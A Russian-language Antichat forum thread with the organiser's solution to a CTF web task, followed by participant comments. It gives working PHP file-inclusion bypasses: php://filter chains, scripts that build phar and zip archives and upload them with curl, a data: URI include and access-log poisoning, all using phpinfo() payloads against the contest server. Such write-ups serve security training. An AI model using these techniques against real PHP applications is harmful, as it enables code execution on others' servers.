Task # Task #7

Discussion in 'Задания/Квесты/CTF/Конкурсы' started by dooble, 18 May 2019.

  1. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    231
    Likes Received:
    601
    Reputations:
    145
    Прохождение.

    Первый способ - враппер php://.
    Заходим login: password = 1:1 и смотрим,
    есть инклюд файла, в который можем писать произвольную информацию.
    Нужно обойти одно ограничение (стоппер die() в начале файла) и соблюсти одно условие (в параметр page должны подстрокой войти "login.php" или "view.php").

    Если последовать подсказке о статье в "Хакере" и набрать в поиске "хакер врапперы", то в топе видим две статьи, обе полезные, а в https://xakep.ru/2012/11/22/php-filter-wrapper-attacks/ прямо конкретное решение расписано.
    Смысл такой, нужно фильтром испортить код стоппера, или вырезать его совсем, а полезную начинку декодировать в валидный код для инклюда.

    Например:
    Энкодим base64_encode('<?php phpinfo();?>');
    и полученную строку
    Code:
    PD9waHAgcGhwaW5mbygpOz8+
    отсылаем прям через форму отправки исследуемых скриптов.

    При вызове используем два фильтра, strip_tags вырежет стоппер, а base64-decode восстановит код нашей начинки.
    "login.php" или "view.php" можно добавить в запрос одним из следующих способов:
    Code:
    index.php?page=php://filter/login.php/read=string.strip_tags|convert.base64-decode/resource=db/info.php
    index.php?page=php://filter/read=login.php/string.strip_tags|convert.base64-decode/resource=db/info.php
    index.php?page=php://filter/read=login.php|string.strip_tags|convert.base64-decode/resource=db/info.php
    Без strip_tags код тоже выполнится, просто будет мусор от испорченного стоппера.

    Аналогичные преобразования можно делать с фильтрами quoted-printable или rot13.

    Второй способ основан на использовании архивов phar.
    Доступ к файлам в архиве через враппер phar://, осуществляется без необходимости распаковки.
    Юзаем следующую особенность, если обращаться к архиву через вызов phar://script_name.php/path_to_file, то stub (это некоторый php код в начале архива, нужный для инициализации класса работы с архивом phar) не вызывется и мы можем поместить туда наш стоппер.
    Он станет частью архива, но при вызове не будет интерпретироваться.

    Содержимое архива воспринимается, как продолжение файловой системы, сформируем файл login.php с нужной нам начинкой, <?php phpinfo();?>.

    Единственное препятствие, архив защищен от модификации напрямую - контролем целостности, поэтому если его просто подать на вход view.php, в начало архива допишется "<?php die('Access denied'); ?>\n" и получим ошибку "SHA1 signature could not be verified:".

    Обходим просто, готовим архив с добавлением этой вставки в начало, а перед отправкой отрежем ее. Скрипт view.php ее снова добавит и архив восстановит свою целостность.
    Code:
    Вызываем
    http://task.antichat.com:10007/index.php?page=phar://db/info.php/view.php
    Code:
    <?php
    $evil_code='<?php phpinfo();?>';
    $stopper="<?php die('Access denied'); ?>\n";
    $local_path_to_archive="/tmp/in.phar";
    $url_to_exploit="http://task.antichat.com:10007/index.php?page=view.php";
    $url_to_get_result="http://task.antichat.com:10007/index.php?page=phar://db/info.php/view.php";
    
    @unlink($local_path_to_archive);
    $p = new Phar($local_path_to_archive);
    $p->setStub($stopper."<?php Phar::mapPhar();__HALT_COMPILER(); ?>");
    $p['view.php'] = $evil_code;
    $a=implode(array_slice(file($local_path_to_archive), 1));
    if( $curl = curl_init() ) {
        curl_setopt($curl, CURLOPT_URL, $url_to_exploit);
        curl_setopt($curl, CURLOPT_POST, true);
        curl_setopt($curl, CURLOPT_POSTFIELDS, array(
            'data' => $a,
            'Save' => 'Save'
        ));
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        $out = curl_exec($curl);
        curl_close($curl);
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url_to_get_result);
        curl_setopt($curl, CURLOPT_HEADER, false);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        $out = curl_exec($curl);
        echo $out;
        curl_close($curl);
    } else echo "Curl not installed";
    
    Третий способ - архив zip.
    В зипе нет никакого стаба, поэтому исследуем и ищем другой способ вставить стоппер.

    Тестим и приходим к выводу,
    Архивы zip могут быть приготовлены разными способами и содержать разную начинку, не теряя функциональности.
    В имени файла можно использовать и проблемные символы, в т.ч. и слеш.
    Стоппер можно сформировать в одном месте архива, а потом перенести в другое, при этом целостность архива проверяется по размеру, а не по содержимому.
    Code:
    <?php
    $url_to_exploit="http://task.antichat.com:10007/index.php?page=view.php";
    $url_to_get_result="http://task.antichat.com:10007/index.php?page=zip:///var/www/html/db/info.php%23/tmp/view.php";
    $p=getshell();
    
    if( $curl = curl_init() ) {
        curl_setopt($curl, CURLOPT_URL, $url_to_exploit);
        curl_setopt($curl, CURLOPT_POST, true);
        curl_setopt($curl, CURLOPT_POSTFIELDS, array(
            'data' => $p,
            'Save' => 'Save'
            ));
        curl_setopt($curl, CURLOPT_HEADER, false);
    
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        $out = curl_exec($curl);
        curl_close($curl);
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, $url_to_get_result);
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
        $out = curl_exec($curl);
        echo $out;
        curl_close($curl);
    } else echo "Curl not installed";
    
    
    function getshell(){
        $evil_code='<?php phpinfo();?>';
        $header="<?php die('Access denied'); ?>\n";
        $local_path_to_archive="/tmp/test.zip";
        $inc_file="/tmp/test.php";
    
        @unlink($local_path_to_archive);
        file_put_contents($inc_file,$evil_code);
        $zip = new ZipArchive();
        if ($zip->open($local_path_to_archive, ZIPARCHIVE::CREATE)!==TRUE) {
            exit("could not open file $local_path_to_archive\n");
        }
        $zip->addFromString($header,"");
        $zip->addFile($inc_file,"/tmp/view.php");
        $zip->close();
        @unlink($inc_file);
        $r=preg_replace("/<\/?.*?>\n/si", "", file_get_contents($local_path_to_archive),1);
    
        return $r;
    }
    
    Читерский способ, готовим архив phar с нужной вставкой и конвертируем его в zip
    Code:
    $zip = $p->convertToData(Phar::ZIP);


    По факту - справились с заданием, это очень хорошо.
    Трое прошли полностью.
    =HALK= прошел без подсказок и, скорее всего, без особого напряга.
    Gorbachev хорош тем, что справляется с заданиями, планка которых чуть выше его привычных дел. Почитал, потестил, сделал - мое уважение.
    Раrаdох удивил подробным райтапом, не знаю где он работает, видимо часто приходится делать отчеты. Единственно, не согласен с "метод работает благодаря особенностям помехоустойчивого кодирования zip-архивов". Там даже crc нет, контролируется только размер.

    Вообще, все молодцы!
    Даже те, кто не прислал решение, потыкали, поюзали поиск, посмотрели решения - все равно польза.

    И да, тема не уместилась в одно задание, будет продолжение, на более свежем примере.
     
    #21 dooble, 1 Jun 2019
    Last edited: 1 Jun 2019
    fandor9, l1ght, eminlayer7788 and 6 others like this.
  2. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,063
    Likes Received:
    1,559
    Reputations:
    40
    Paradox iz yandex
     
    Раrаdох likes this.
  3. Раrаdох

    Раrаdох Elder - Старейшина

    Joined:
    30 Jan 2014
    Messages:
    95
    Likes Received:
    140
    Reputations:
    33
    Рад что на этот раз было время поучаствовать в таске. Всё понравилось, особенно с zip. Спасибо ребятам кто готовил задание :)
     
  4. topthing

    topthing Member

    Joined:
    23 Dec 2018
    Messages:
    18
    Likes Received:
    24
    Reputations:
    6
    С zip действителньо интересно. Хороший таск.
     
  5. BabaDook

    BabaDook Well-Known Member

    Joined:
    9 May 2015
    Messages:
    1,063
    Likes Received:
    1,559
    Reputations:
    40
    не заслужил. Если честно, то даже не смотрел таск, что-то руки не дошли. Да и вряд ли все 3 метода сделал бы. С зипом- Это первое что пришло в голову.На рутми вроде был похожий таск.
    п.с. даже если бы решил, то я прошу не разглашать это.
     
  6. =HALK=

    =HALK= Member

    Joined:
    30 Oct 2008
    Messages:
    27
    Likes Received:
    27
    Reputations:
    40
    хороший тамада и конкурсы интересные
     
  7. crlf

    crlf Green member

    Joined:
    18 Mar 2016
    Messages:
    683
    Likes Received:
    1,513
    Reputations:
    460
    + варианты сферических коней :)

    Code:
    allow_url_include = On
    http://task7/index.php?page=data:text/html;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==login.php
    
    Code:
    curl 'http://task7/?<?=phpinfo();?>'
    http://task7/?page=php://filter/login.php/resource=/var/logs/nginx/task7.access.log
    
     
  8. Тот_самый_Щуп

    Тот_самый_Щуп Reservists Of Antichat

    Joined:
    23 Mar 2017
    Messages:
    265
    Likes Received:
    174
    Reputations:
    119
    Вообще по красоте исполнил.

    А враппер compress.zlib:// кто нибудь интересно осилил?
    У меня бензобак уже на первом враппере закончился, так как ковырял варианты без врапперов.
    С phar по моим ощущениям было полегче, чем с php, ну а ZIP это не мой уровень, я до объявления результатов так и не понял, в чем фишка, вывозил уже на морально-волевых, на характере зарешал.
     
  9. dooble

    dooble Members of Antichat

    Joined:
    30 Dec 2016
    Messages:
    231
    Likes Received:
    601
    Reputations:
    145
    Тем не менее, использовать штатную возможность восстановления поврежденных архивов - хорошая находка, достаточно технологично.
    Не нужно навыков программирования, руки-то вот они, запаковал нужные файлы, грубо добавил в начало текст стоппера и указал архиватору ключ починить архив - фсё, имеем валидный zip-архив с нужным префиксом.